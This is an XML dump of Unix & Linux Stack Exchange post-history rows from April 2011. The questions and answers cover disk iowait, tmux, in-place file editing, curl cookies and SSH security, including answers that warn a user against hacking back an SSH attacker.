  <row Id="27442" PostHistoryTypeId="5" PostId="11304" RevisionGUID="1994c435-ceff-4155-b08d-466dd445eece" CreationDate="2011-04-14T13:50:08.970" UserId="1078" Comment="Added command used to generate device utilisation data" Text="I was indexing a MySQL table. It makes a high load on that computer. &#xD;&#xA;&#xD;&#xA;It seems due to a high iowait. But it also shows that the wMB/s is only 2.87.&#xD;&#xA;&#xD;&#xA;Isn't even a common SATA HDD able to handle more than 2.87MB/s? Why is process so slow then?&#xD;&#xA;&#xD;&#xA;`iostat -x` reports:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    avg-cpu:  %user   %nice %system %iowait  %steal   %idle&#xD;&#xA;               1.74    0.00    3.48   47.51    0.00   47.26&#xD;&#xA;    &#xD;&#xA;    Device:         rrqm/s   wrqm/s     r/s     w/s    rMB/s    wMB/s avgrq-sz avgqu-sz   await  svctm  %util&#xD;&#xA;    sda               0.00   300.00    0.00  383.00     0.00     2.87    15.35   142.00  374.64   2.61  99.90&#xD;&#xA;    sdb               0.00     0.00    0.00    0.00     0.00     0.00     0.00     0.00    0.00   0.00   0.00&#xD;&#xA;    scd0              0.00     0.00    0.00    0.00     0.00     0.00     0.00     0.00    0.00   0.00   0.00&#xD;&#xA;    sdc               0.00     0.00    0.00    0.00     0.00     0.00     0.00     0.00    0.00   0.00   0.00&#xD;&#xA;    dm-0              0.00     0.00    0.00 2507.00     0.00     9.79     8.00   263.88  110.06   0.40  99.90&#xD;&#xA;    dm-1              0.00     0.00    0.00    0.00     0.00     0.00     0.00     0.00    0.00   0.00   0.00&#xD;&#xA;    dm-2              0.00     0.00    0.00    2.00     0.00     0.01     8.00     0.41  196.00 202.50  40.50&#xD;&#xA;    dm-3              0.00     0.00    0.00    0.00     0.00     0.00     0.00     0.00    0.00   0.00   0.00&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27443" PostHistoryTypeId="24" PostId="11304" RevisionGUID="1994c435-ceff-4155-b08d-466dd445eece" CreationDate="2011-04-14T13:50:08.970" Comment="Proposed by 1078 approved by 29 edit id of 269" />
  <row Id="27444" PostHistoryTypeId="2" PostId="11325" RevisionGUID="223eecc1-6a46-4f08-852e-1b5fbd350d6b" CreationDate="2011-04-14T13:50:29.937" UserId="6215" Text="Is there a way to set tmux so that it automatically adjusts window width when I switch to the pane so that it will be wide axactly as the longest (visible on screen) line in the file I have open?&#xD;&#xA;&#xD;&#xA;I'm doing this manually with the command&lt;br&gt;&lt;br&gt;&#xD;&#xA;`:resize-pane -R 10`&lt;br&gt;&#xD;&#xA;or&lt;br&gt;&#xD;&#xA;`:resize-pane -L 10`&lt;br&gt;&lt;br&gt;&#xD;&#xA;I always have to guess the number and when I switch to another pane I have to do it again&#xD;&#xA;&#xD;&#xA;Note that this functionality is relevant only to vertical panes." />
  <row Id="27445" PostHistoryTypeId="1" PostId="11325" RevisionGUID="223eecc1-6a46-4f08-852e-1b5fbd350d6b" CreationDate="2011-04-14T13:50:29.937" UserId="6215" Text="Automatically adjust window width in tmux" />
  <row Id="27446" PostHistoryTypeId="3" PostId="11325" RevisionGUID="223eecc1-6a46-4f08-852e-1b5fbd350d6b" CreationDate="2011-04-14T13:50:29.937" UserId="6215" Text="étmuxà" />
  <row Id="27447" PostHistoryTypeId="5" PostId="10963" RevisionGUID="4e8c2353-bd4f-4d9e-b895-ad7c464045e1" CreationDate="2011-04-14T14:30:19.840" UserId="73" Comment="deleted 93 characters in body" Text="I changed two files to fix this:&#xD;&#xA;&#xD;&#xA;* `/boot/grub/grub.conf` -- Remove `nomodeset`&#xD;&#xA;* `/etc/X11/xorg.conf` -- Replace `vesa` with `intel`&#xD;&#xA;" />
  <row Id="27449" PostHistoryTypeId="2" PostId="11327" RevisionGUID="ac721775-e469-40de-8d6b-0db728f0f205" CreationDate="2011-04-14T14:38:08.333" UserId="5451" Text="i have an ssh server and i get a lot of attempted break-ins - its pretty common. looking through `/var/log/auth.log` i can see the ip/domain address of the attacker. i would like to try and gain access to the attacking server - mainly just for fun. &#xD;&#xA;&#xD;&#xA;i'm not sure if its cool to request assistance for hacking on this site - i read through the faqs and i couldnt see anything about it in there. let me know i guess...&#xD;&#xA;&#xD;&#xA;anyway i have a fair idea of how i will go about doing the actual ssh break-in, but my question is this: if i do gain access to the remote server, will it be possible for the admins of this machine to use my ssh session to send data back down the connection and infect my local pc? i use dsa keys and do not allow password logins to my ssh server, also i do not allow root access. if it would still be possible, despite these precautions, please could you explain how this is done with code/links so i can understand?&#xD;&#xA;&#xD;&#xA;another thing i am worried about is that if i gain access to the remote server, the admins may be able to hijack my pts session and simply type `exit` to get to my pc. again, please let me know if this is possible and if so please provide code/links :)&#xD;&#xA;&#xD;&#xA;i've done a bit of googling and turned up nothing so far." />
  <row Id="27450" PostHistoryTypeId="1" PostId="11327" RevisionGUID="ac721775-e469-40de-8d6b-0db728f0f205" CreationDate="2011-04-14T14:38:08.333" UserId="5451" Text="ssh to untrusted machine" />
  <row Id="27451" PostHistoryTypeId="3" PostId="11327" RevisionGUID="ac721775-e469-40de-8d6b-0db728f0f205" CreationDate="2011-04-14T14:38:08.333" UserId="5451" Text="ésshà" />
  <row Id="27452" PostHistoryTypeId="5" PostId="10971" RevisionGUID="48ab63ac-25e9-4f51-9fe1-06b179afef54" CreationDate="2011-04-14T14:46:44.453" UserId="6215" Comment="added 198 characters in body; added 8 characters in body" Text="Can you help me with finding all the **hardware information** (parameters) and **configuration files** about the fan in my laptop? I'm interested in commands that will find that information and configuration files.&#xD;&#xA;&#xD;&#xA;**lm-sensors** end with message:&#xD;&#xA;&#xD;&#xA;&gt;     Sorry, no sensors were detected.&#xD;&#xA;&gt;     This is relatively common on laptops, where thermal management is&#xD;&#xA;&gt;     handled by ACPI rather than the OS.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27454" PostHistoryTypeId="2" PostId="11328" RevisionGUID="a081487d-b1bb-4510-8638-65c4ccf442a0" CreationDate="2011-04-14T14:55:58.253" UserId="3046" Text="You realise that in most jurisdictions what you want to do is illegal and could get you fined or imprisoned.&#xD;&#xA;&#xD;&#xA;**Seriously - DO NOT DO IT!**&#xD;&#xA;&#xD;&#xA;Block or blacklist them, do not retaliate.&#xD;&#xA;&#xD;&#xA;(in actual answer to your question though - no, unless your SSH client is vulnerable to an exploit from the other end there is not anything thay could do directly. If you download files from their end, that puts you in a different place - there could be malware in there)" />
  <row Id="27455" PostHistoryTypeId="5" PostId="11327" RevisionGUID="6d1d5b3a-f1fe-489a-8fb5-08103aa6315c" CreationDate="2011-04-14T15:00:44.703" UserId="73" Comment="deleted 551 characters in body; edited title" Text="If I SSH to a remote server, is it be possible for the admins of that machine to use my SSH session to send data back down the connection and do something to my local PC? I use DSA keys and do not allow password logins to my SSH server, and I do not allow root access. If it would still be possible despite these precautions,  could you explain how it is done with code/links so I can understand?&#xD;&#xA;&#xD;&#xA;Another thing I am worried about is that if I connect to the remote server, the admins may be able to hijack my pts session and simply type `exit` to get to my PC. Again, please let me know if this is possible and if so please provide code/links&#xD;&#xA;&#xD;&#xA;I've done a bit of googling and turned up nothing so far." />
  <row Id="27456" PostHistoryTypeId="4" PostId="11327" RevisionGUID="6d1d5b3a-f1fe-489a-8fb5-08103aa6315c" CreationDate="2011-04-14T15:00:44.703" UserId="73" Comment="deleted 551 characters in body; edited title" Text="SSH to untrusted machine" />
  <row Id="27457" PostHistoryTypeId="2" PostId="11329" RevisionGUID="c015d592-711a-4226-aecf-1491a6b8b6d3" CreationDate="2011-04-14T15:03:42.077" UserId="1339" Text="&gt; anyway i have a fair idea of how i&#xD;&#xA;&gt; will go about doing the actual ssh&#xD;&#xA;&gt; break-in, but my question is this: if&#xD;&#xA;&gt; i do gain access to the remote server,&#xD;&#xA;&gt; will it be possible for the admins of&#xD;&#xA;&gt; this machine to use my ssh session to&#xD;&#xA;&gt; send data back down the connection and&#xD;&#xA;&gt; infect my local pc?&#xD;&#xA;&#xD;&#xA;This depends on the client you are using.&#xD;&#xA;&#xD;&#xA;Possible? Yes, for example: http://archive.cert.uni-stuttgart.de/bugtraq/2002/12/msg00261.html&#xD;&#xA;&#xD;&#xA;Likely? No.&#xD;&#xA;&#xD;&#xA;&gt; another thing i am worried about is&#xD;&#xA;&gt; that if i gain access to the remote&#xD;&#xA;&gt; server, the admins may be able to&#xD;&#xA;&gt; hijack my pts session and simply type&#xD;&#xA;&gt; exit to get to my pc.&#xD;&#xA;&#xD;&#xA;This will not happen. If they &quot;hijack&quot; your shell and they type `exit` it will terminate the shell, nothing more.&#xD;&#xA;&#xD;&#xA;**In general its a bad idea to break into another system. There are laws against this and its simply a crime.**&#xD;&#xA;&#xD;&#xA;**Its even more worse to break into a system if you have no clue about what you are doing. Your questions suggest that this is the case.**&#xD;&#xA;&#xD;&#xA;**Simple advice: Blacklist the ip and thats it.**" />
  <row Id="27458" PostHistoryTypeId="25" PostId="11311" RevisionGUID="1c5e227c-9e43-4dad-bb0e-3d93be74dd77" CreationDate="2011-04-14T15:09:08.640" Comment="http://twitter.com/#!/StackUnix/status/58547341451476992" />
  <row Id="27459" PostHistoryTypeId="2" PostId="11330" RevisionGUID="2f2b4f7f-e969-4556-8194-65241cee2e4d" CreationDate="2011-04-14T15:10:11.240" UserId="4910" Text="I have heard Linux was not UNIX (I guess it still isn't) but that it was UNIX Like. Some people will just say &quot;Linux is UNIX&quot; or say &quot;Linux, Solaris, something else and other UNIX-Like OSes&quot;.&#xD;&#xA;&#xD;&#xA;Could you shed some light on this?" />
  <row Id="27460" PostHistoryTypeId="1" PostId="11330" RevisionGUID="2f2b4f7f-e969-4556-8194-65241cee2e4d" CreationDate="2011-04-14T15:10:11.240" UserId="4910" Text="What is the difference between UNIX and UNIX Like?" />
  <row Id="27461" PostHistoryTypeId="3" PostId="11330" RevisionGUID="2f2b4f7f-e969-4556-8194-65241cee2e4d" CreationDate="2011-04-14T15:10:11.240" UserId="4910" Text="éhistoryà" />
  <row Id="27462" PostHistoryTypeId="2" PostId="11331" RevisionGUID="8052df6b-66eb-4c60-9aab-4de1e2d19626" CreationDate="2011-04-14T15:15:04.190" UserId="6103" Text="short story Linus Torvalds used Unix, liked unix, couldnt have unix run on his PC so he made linux. Yeh unix like OS for everyone!!" />
  <row Id="27463" PostHistoryTypeId="5" PostId="11330" RevisionGUID="d510e88a-5a45-461f-a0a8-f127be043528" CreationDate="2011-04-14T15:22:10.697" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Is Linux a Unix?](http://unix.stackexchange.com/questions/4091/is-linux-a-unix)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I have heard Linux was not UNIX (I guess it still isn't) but that it was UNIX Like. Some people will just say &quot;Linux is UNIX&quot; or say &quot;Linux, Solaris, something else and other UNIX-Like OSes&quot;.&#xD;&#xA;&#xD;&#xA;Could you shed some light on this?" />
  <row Id="27464" PostHistoryTypeId="10" PostId="11330" RevisionGUID="3abd22e9-1bbb-4e19-bec0-b1093d8dac7d" CreationDate="2011-04-14T15:22:10.573" UserId="73" CloseReasonId="1" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="27465" PostHistoryTypeId="5" PostId="11331" RevisionGUID="41def694-74c9-4353-8c5d-c07d1f4c271d" CreationDate="2011-04-14T15:23:10.447" UserId="73" Comment="deleted 7 characters in body" Text="Linus Torvalds used Unix, liked Unix, but couldn't have Unix run on his PC, so he made Linux. Yay Unix-like OS for everyone!" />
  <row Id="27466" PostHistoryTypeId="5" PostId="11322" RevisionGUID="ad0621bf-6629-42eb-94b0-de6bd7d08023" CreationDate="2011-04-14T15:32:56.940" UserId="2343" Comment="added wait of process to terminate; deleted 8 characters in body" Text="You can use a bash read/write file descriptor to open your file (to overwrite it in-situ), then `sed` and `truncate` ... but of course, don't ever allow your changes to be larger than the amount of data read so far.   &#xD;&#xA;&#xD;&#xA;Here is the script (uses: bash variable $BASHPID )&#xD;&#xA;&#xD;&#xA;    # Create a test file&#xD;&#xA;      echo &quot;going abc&quot;  &gt;junk&#xD;&#xA;      echo &quot;going def&quot; &gt;&gt;junk&#xD;&#xA;      echo &quot;# ORIGINAL file&quot;;cat junk |tee &gt;( wc=($(wc)); echo &quot;# ${wc[0]} lines, ${wc[2]} bytes&quot; ;echo )&#xD;&#xA;    #&#xD;&#xA;    # Assign file to fd 3, and open it r/w&#xD;&#xA;      exec 3&lt;&gt; junk  &#xD;&#xA;    #&#xD;&#xA;    # Choose a unique filename to hold the new file size  and the pid &#xD;&#xA;    # of the semi-asynchrounous process to which 'tee' streams the new file..  &#xD;&#xA;      [[ ! -d &quot;/tmp/$USER&quot; ]] &amp;&amp; mkdir &quot;/tmp/$USER&quot; &#xD;&#xA;      f_pid_size=&quot;/tmp/$USER/pid_size.$(date '+%N')&quot; # %N is a GNU extension: nanoseconds&#xD;&#xA;      [[ -f &quot;$f_pid_size&quot; ]] &amp;&amp; { echo &quot;ERROR: Work file already exists: '$f_pid_size'&quot; ;exit 1 ; }&#xD;&#xA;    #&#xD;&#xA;    # run 'sed' output to 'tee' ... &#xD;&#xA;    #  to modify the file in-situ, and to count the bytes  &#xD;&#xA;      &lt;junk sed -e &quot;s/going //&quot; |tee &gt;(echo -n &quot;$BASHPID &quot; &gt;&quot;$f_pid_size&quot; ;wc -c &gt;&gt;&quot;$f_pid_size&quot;) &gt;&amp;3&#xD;&#xA;    #&#xD;&#xA;    #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&#xD;&#xA;    # The byte-counting process is not a child-process, &#xD;&#xA;    # so 'wait' doesn't work... but wait we must...  &#xD;&#xA;      pid_size=($(cat &quot;$f_pid_size&quot;)) ;pid=${pid_size[0]}  &#xD;&#xA;      # $f_pid_size may initially contain only the pid... &#xD;&#xA;      # get the size when pid termination is assured&#xD;&#xA;      if ! kill -0 &quot;$pid&quot; 2&gt;/dev/null; then&#xD;&#xA;        # pid has terminated. get the byte count&#xD;&#xA;         pid_size=($(cat &quot;$f_pid_size&quot;)) ;size=${pid_size[1]}&#xD;&#xA;      fi&#xD;&#xA;      rm &quot;$f_pid_size&quot;&#xD;&#xA;    #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&#xD;&#xA;    #&#xD;&#xA;      exec 3&gt;&amp;- # close fd 3.&#xD;&#xA;      newsize=$(cat newsize)&#xD;&#xA;      echo &quot;# MODIFIED file (before truncating)&quot;;cat junk |tee &gt;( wc=($(wc)); echo &quot;# ${wc[0]} lines, ${wc[2]} bytes&quot; ;echo )  cat junk&#xD;&#xA;    #&#xD;&#xA;     truncate -s $newsize junk&#xD;&#xA;     echo &quot;# NEW (truncated) file&quot;;cat junk |tee &gt;( wc=($(wc)); echo &quot;# ${wc[0]} lines, ${wc[2]} bytes&quot; ;echo )  cat junk&#xD;&#xA;    #&#xD;&#xA;    exit&#xD;&#xA;&#xD;&#xA;Here is the test output&#xD;&#xA;  &#xD;&#xA;    # ORIGINAL file&#xD;&#xA;    going abc&#xD;&#xA;    going def&#xD;&#xA;    # 2 lines, 20 bytes&#xD;&#xA;&#xD;&#xA;    # MODIFIED file (before truncating)&#xD;&#xA;    abc&#xD;&#xA;    def&#xD;&#xA;    c&#xD;&#xA;    going def&#xD;&#xA;    # 4 lines, 20 bytes&#xD;&#xA;&#xD;&#xA;    # NEW (truncated) file&#xD;&#xA;    abc&#xD;&#xA;    def&#xD;&#xA;    # 2 lines, 8 bytes&#xD;&#xA;" />
  <row Id="27467" PostHistoryTypeId="5" PostId="11322" RevisionGUID="b98f3de9-c226-46e8-bb25-258da02d1e0e" CreationDate="2011-04-14T15:44:55.797" UserId="2343" Comment="added 66 characters in body" Text="You can use a bash read/write file descriptor to open your file (to overwrite it in-situ), then `sed` and `truncate` ... but of course, don't ever allow your changes to be larger than the amount of data read so far.   &#xD;&#xA;&#xD;&#xA;Here is the script (uses: bash variable $BASHPID )&#xD;&#xA;&#xD;&#xA;    # Create a test file&#xD;&#xA;      echo &quot;going abc&quot;  &gt;junk&#xD;&#xA;      echo &quot;going def&quot; &gt;&gt;junk&#xD;&#xA;      echo &quot;# ORIGINAL file&quot;;cat junk |tee &gt;( wc=($(wc)); echo &quot;# ${wc[0]} lines, ${wc[2]} bytes&quot; ;echo )&#xD;&#xA;    #&#xD;&#xA;    # Assign file to fd 3, and open it r/w&#xD;&#xA;      exec 3&lt;&gt; junk  &#xD;&#xA;    #&#xD;&#xA;    # Choose a unique filename to hold the new file size  and the pid &#xD;&#xA;    # of the semi-asynchrounous process to which 'tee' streams the new file..  &#xD;&#xA;      [[ ! -d &quot;/tmp/$USER&quot; ]] &amp;&amp; mkdir &quot;/tmp/$USER&quot; &#xD;&#xA;      f_pid_size=&quot;/tmp/$USER/pid_size.$(date '+%N')&quot; # %N is a GNU extension: nanoseconds&#xD;&#xA;      [[ -f &quot;$f_pid_size&quot; ]] &amp;&amp; { echo &quot;ERROR: Work file already exists: '$f_pid_size'&quot; ;exit 1 ; }&#xD;&#xA;    #&#xD;&#xA;    # run 'sed' output to 'tee' ... &#xD;&#xA;    #  to modify the file in-situ, and to count the bytes  &#xD;&#xA;      &lt;junk sed -e &quot;s/going //&quot; |tee &gt;(echo -n &quot;$BASHPID &quot; &gt;&quot;$f_pid_size&quot; ;wc -c &gt;&gt;&quot;$f_pid_size&quot;) &gt;&amp;3&#xD;&#xA;    #&#xD;&#xA;    #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&#xD;&#xA;    # The byte-counting process is not a child-process, &#xD;&#xA;    # so 'wait' doesn't work... but wait we must...  &#xD;&#xA;      pid_size=($(cat &quot;$f_pid_size&quot;)) ;pid=${pid_size[0]}  &#xD;&#xA;      # $f_pid_size may initially contain only the pid... &#xD;&#xA;      # get the size when pid termination is assured&#xD;&#xA;      while [[ &quot;$pid&quot; != &quot;&quot; ]] ; do&#xD;&#xA;        if ! kill -0 &quot;$pid&quot; 2&gt;/dev/null; then&#xD;&#xA;           pid=&quot;&quot;  # pid has terminated. get the byte count&#xD;&#xA;           pid_size=($(cat &quot;$f_pid_size&quot;)) ;size=${pid_size[1]}&#xD;&#xA;        fi&#xD;&#xA;      done&#xD;&#xA;      rm &quot;$f_pid_size&quot;&#xD;&#xA;    #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&#xD;&#xA;    #&#xD;&#xA;      exec 3&gt;&amp;- # close fd 3.&#xD;&#xA;      newsize=$(cat newsize)&#xD;&#xA;      echo &quot;# MODIFIED file (before truncating)&quot;;cat junk |tee &gt;( wc=($(wc)); echo &quot;# ${wc[0]} lines, ${wc[2]} bytes&quot; ;echo )  cat junk&#xD;&#xA;    #&#xD;&#xA;     truncate -s $newsize junk&#xD;&#xA;     echo &quot;# NEW (truncated) file&quot;;cat junk |tee &gt;( wc=($(wc)); echo &quot;# ${wc[0]} lines, ${wc[2]} bytes&quot; ;echo )  cat junk&#xD;&#xA;    #&#xD;&#xA;    exit&#xD;&#xA;&#xD;&#xA;Here is the test output&#xD;&#xA;  &#xD;&#xA;    # ORIGINAL file&#xD;&#xA;    going abc&#xD;&#xA;    going def&#xD;&#xA;    # 2 lines, 20 bytes&#xD;&#xA;&#xD;&#xA;    # MODIFIED file (before truncating)&#xD;&#xA;    abc&#xD;&#xA;    def&#xD;&#xA;    c&#xD;&#xA;    going def&#xD;&#xA;    # 4 lines, 20 bytes&#xD;&#xA;&#xD;&#xA;    # NEW (truncated) file&#xD;&#xA;    abc&#xD;&#xA;    def&#xD;&#xA;    # 2 lines, 8 bytes&#xD;&#xA;" />
  <row Id="27471" PostHistoryTypeId="6" PostId="10971" RevisionGUID="37567f92-8ed1-42ca-972a-9a10e860387b" CreationDate="2011-04-14T16:42:30.940" UserId="6215" Comment="edited tags" Text="élinuxàéhardwareàéfanà" />
  <row Id="27472" PostHistoryTypeId="2" PostId="11333" RevisionGUID="b153f916-3b6a-4220-8b40-e7cca7813c4e" CreationDate="2011-04-14T17:16:57.810" UserId="5666" Text="To increase security and get rid of the cluter in the logs, try `fail2ban`. In debian/ubuntu all you need is `apt-get install fail2ban`, (iirc, not able to check now) default settings block an ip for half an hour after 4 attempts. It also has example configs for other services.&#xD;&#xA;&#xD;&#xA;Another option is to change the listening port, most break-in attempts are made by bots, attacking only port 22.&#xD;&#xA;&#xD;&#xA;Or better, combine both options and if you can block everything except a few IPs, do that as well.&#xD;&#xA;&#xD;&#xA;Breaking in to other's systems is illegal, waste of time and will only get you in trouble." />
  <row Id="27473" PostHistoryTypeId="5" PostId="11309" RevisionGUID="1ea96d0b-754b-4aad-8b11-9a552aad288b" CreationDate="2011-04-14T17:28:29.663" UserId="4671" Comment="added 803 characters in body" Text="Just read it into memory, alter it, then write it back. You can do something like&#xD;&#xA;&#xD;&#xA;    filename = &quot;foo&quot;&#xD;&#xA;    f = open(filename, 'r+')                                                                                                                                 &#xD;&#xA;    linenums = [1, 3]                                                                                                                                            &#xD;&#xA;    s = [y for x, y in enumerate(f) if x not in [line-1 for line in linenums]]                                                                                                                                          &#xD;&#xA;    f.seek(0)&#xD;&#xA;    f.write(''.join(s))&#xD;&#xA;    f.truncate(f.tell())&#xD;&#xA;    f.close()&#xD;&#xA;&#xD;&#xA;Tested with a 5 line file. Credits to http://pleac.sourceforge.net/pleac_python/fileaccess.html, see section &quot;Modifying a File in Place Without a Temporary File&quot;. See also http://stackoverflow.com/questions/125703/how-do-i-modify-a-text-file-in-python&#xD;&#xA;&#xD;&#xA;Some notes:&#xD;&#xA;&#xD;&#xA; 1. One could first truncate the file,&#xD;&#xA;    then write to it, rather than write,&#xD;&#xA;    then truncate, as above. However, I&#xD;&#xA;    don't know of a Python flag that&#xD;&#xA;    allows one to read, and then do a&#xD;&#xA;    truncated write. But maybe I'm&#xD;&#xA;    missing something, as the document&#xD;&#xA;    isn't all that clear. Which brings&#xD;&#xA;    me to&#xD;&#xA;&#xD;&#xA; 2. Sometimes the Python docs really&#xD;&#xA;    suck. See&#xD;&#xA;    http://docs.python.org/library/functions.html#open&#xD;&#xA;    &#xD;&#xA;    &gt; Modes 'r+', 'w+' and 'a+' open the file for updating (note that 'w+'&#xD;&#xA;    truncates the file).&#xD;&#xA;    &#xD;&#xA;    Does this mean anything to you? What&#xD;&#xA;    the hell is &quot;open for updating&quot;?&#xD;&#xA;&#xD;&#xA; 3. I don't know if doing this in python&#xD;&#xA;    as opposed to something unixy like&#xD;&#xA;    the stream editor is better. It&#xD;&#xA;    might be more portable, but I don't&#xD;&#xA;    know how portable sed is. I just&#xD;&#xA;    wrote it like that because I'm more&#xD;&#xA;    comfortable with low level&#xD;&#xA;    programming than using classic unix&#xD;&#xA;    tools, which are good if they do&#xD;&#xA;    exactly what you want, but (I think)&#xD;&#xA;    are generally less flexible.&#xD;&#xA;&#xD;&#xA; 4. This approach (manipulating the file in memory)&#xD;&#xA;    trades memory for disk&#xD;&#xA;    space. It should work Ok on machines&#xD;&#xA;    with a few Gb of memory for files up&#xD;&#xA;    to a few hundred Mb. Python doesn't&#xD;&#xA;    handle strings very efficiently, so&#xD;&#xA;    switching to C/C++ for example would&#xD;&#xA;    slightly increase performance and&#xD;&#xA;    greatly reduce memory usage." />
  <row Id="27474" PostHistoryTypeId="13" PostId="11309" RevisionGUID="c53e0641-883a-439d-aeb8-f04f015273b1" CreationDate="2011-04-14T17:28:39.863" UserId="4671" Text="[{&quot;Id&quot;:4671,&quot;DisplayName&quot;:&quot;Faheem Mitha&quot;}]" />
  <row Id="27475" PostHistoryTypeId="5" PostId="11308" RevisionGUID="8add828a-8220-4d7e-a42d-be5d7296ce72" CreationDate="2011-04-14T17:59:50.350" UserId="1170" Comment="deleted 7 characters in body" Text="For people like me, who choose to remember only the basic usage of tools, and willing to accept less elegant and less efficient solutions:&#xD;&#xA;&#xD;&#xA;    head -n $(grep -n pattern filename | sed 's/:.*//') filename" />
  <row Id="27477" PostHistoryTypeId="5" PostId="10971" RevisionGUID="8889bfe5-9d4c-4cc1-8c94-f99e14b7cf2c" CreationDate="2011-04-14T18:09:51.737" UserId="6215" Comment="deleted 85 characters in body; added 1 characters in body" Text="Can you help me with finding all the **hardware information** (parameters) and **configuration files** about the fan in my laptop? I'm interested in commands that will find that information and configuration files.&#xD;&#xA;&#xD;&#xA;[Here](http://pastebin.ubuntu.com/594074/) is the link to **sensors-detect** output ending with error message." />
  <row Id="27478" PostHistoryTypeId="2" PostId="11334" RevisionGUID="db1e9ab7-c66f-43c9-b4f6-ac47cc3a40ad" CreationDate="2011-04-14T18:13:14.707" UserId="5535" Text="The only similar utility I'm aware of is [Kexec][1]. Sadly, it can only boot a new Linux Kernel from within Linux (useful for Kernel updates without resetting the hardware.) As far as I know, doing the same for Windows or using such for fast switching between *nix and Windows is not possible with Kexec.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ibm.com/developerworks/linux/library/l-kexec/index.html" />
  <row Id="27479" PostHistoryTypeId="5" PostId="10971" RevisionGUID="b697f2a1-d0c3-44b6-8abb-2003f7e642ef" CreationDate="2011-04-14T18:15:42.557" UserId="6215" Comment="added 114 characters in body; edited tags" Text="Can you help me with finding **all** the **hardware information** (parameters) and **configuration files** about the **fan** in my laptop? I'm interested in commands that will find that information and configuration files.&#xD;&#xA;&#xD;&#xA;[Here](http://pastebin.ubuntu.com/594074/) is the link to **sensors-detect** output ending with error message.&#xD;&#xA;&#xD;&#xA;Linux kernel communicate with the hardware, so part of the information could be pulled out from there?" />
  <row Id="27480" PostHistoryTypeId="6" PostId="10971" RevisionGUID="b697f2a1-d0c3-44b6-8abb-2003f7e642ef" CreationDate="2011-04-14T18:15:42.557" UserId="6215" Comment="added 114 characters in body; edited tags" Text="élinuxàékernelàéhardwareàéfanà" />
  <row Id="27481" PostHistoryTypeId="2" PostId="11335" RevisionGUID="ddb3bc2c-0055-4c08-a79d-89870a40643a" CreationDate="2011-04-14T18:22:39.080" UserId="6167" Text="It is not possible for them to simply hijack your connection and take over your PC simply because you used SSH to connect to their remote server.  However, everything you do on that remote server can certainly be monitored.  Any passwords you might type in through the remote SSH connection can be captured, but that's because you are sending that data to them, not because they are monitoring your home computer.  If they hijack your PTS session, they can do nothing more than you can on their own remote server.  It gains them nothing as they already have that much power over their own server.  If they type exit, they will end your remote shell and you will be booted off, but they won't gain any control over your computer.  That PTS session was on the remote computer and has nothing to do with any PTS sessions you might have on your home computer.  There is always a chance there could be a security exploit in your SSH client that might give them some access to your machine, but if your keep your software reasonably up to date, it's extremely unlikely and I wouldn't worry about it.&#xD;&#xA;&#xD;&#xA;With that said, there are ways to make you computer more vulnerable with SSH.  If you enable certain type of forwarding, they might be able to use that against you.  All forwarding is off by default.  If you have agent forwarding enabled, they can use any private keys you have loaded in your agent on your home computer but only while the SSH connection is established.  An agent does not allow anyone to steal keys, but they can use them as long as you are forwarding it to their server.  You should never enable agent forwarding to an untrusted computer.  X11 forwarding can allow them to launch applications and even take control of your X session.  OpenSSH, by default does some filtering of the X11 protocol when forwarding (unless you have ForwardX11Trusted enabled) and so they can't take over complete control, but they can still load windows on your X session.  Again, X11 forwarding needs to be used cautiously." />
  <row Id="27482" PostHistoryTypeId="2" PostId="11336" RevisionGUID="099d9b5b-2f05-44fe-91dc-487d6fa2b267" CreationDate="2011-04-14T18:47:21.680" UserId="6167" Text="Yes, it's fully possible with curl.  Most importantly will be to save and reload cookies between uses of curl with `--cookie-jar`.  You can also post form data as needed.  I usually use a Firefox add-on called Live HTTP Headers to capture what happens when I navigate a website.  It will record any headers, but also any form posts which is very helpful when trying to figure out what to do with curl.  I've written bash scripts automating various curl invocations and use pipes and temporary files (courtesy of `mktemp`) to do some limited processing on the webpage, but if have to do a lot of webpage processing I usually switch to Perl with LibWWW." />
  <row Id="27484" PostHistoryTypeId="6" PostId="11327" RevisionGUID="1410535c-c8d3-4164-87a6-ead82caebc12" CreationDate="2011-04-14T18:53:59.200" UserId="885" Comment="edited tags" Text="ésshàésecurityà" />
  <row Id="27485" PostHistoryTypeId="6" PostId="11304" RevisionGUID="2c8c11ea-dec1-45d0-b56a-082ed263da2b" CreationDate="2011-04-14T18:59:57.790" UserId="885" Comment="edited tags" Text="éperformanceàéhardödiskàéioàémysqlà" />
  <row Id="27487" PostHistoryTypeId="2" PostId="11337" RevisionGUID="dbcfba72-4aec-4513-b5d9-fb2afb0b71d5" CreationDate="2011-04-14T19:29:51.490" UserId="6562" Text="I changed the input files to tsv and used the following solution (inspired from 1st answer)&#xD;&#xA;&#xD;&#xA;&gt;&gt; echo &quot;&quot; &gt; wrong_variables.tmp  &#xD;&#xA;&gt;&gt; &#xD;&#xA;&gt;&gt; while read line  &#xD;&#xA;&gt;&gt; do  &#xD;&#xA;&gt;&gt;     var_template=`echo $line | cut -f2`  &#xD;&#xA;&gt;&gt;     var_parameter=`echo $line | cut -f3`  &#xD;&#xA;&gt;&gt;       &#xD;&#xA;&gt;&gt;     #TODO order by template and cache grep output  &#xD;&#xA;&gt;&gt;     grep &quot;${var_template}&quot; templ2.tmp  | cut -f2 &gt; tmpfile  &#xD;&#xA;&gt;&gt;     var_suggest=`tre-agrep -B &quot;$var_parameter&quot; tmpfile | tr &quot;\n&quot; &quot;$&quot;`  &#xD;&#xA;&gt;&gt; &#xD;&#xA;&gt;&gt;     echo $line \\t $var_suggest &gt;&gt; wrong_variables.tmp  &#xD;&#xA;&gt;&gt;     &#xD;&#xA;&gt;&gt; done &lt; $OUTPUT_RAW  " />
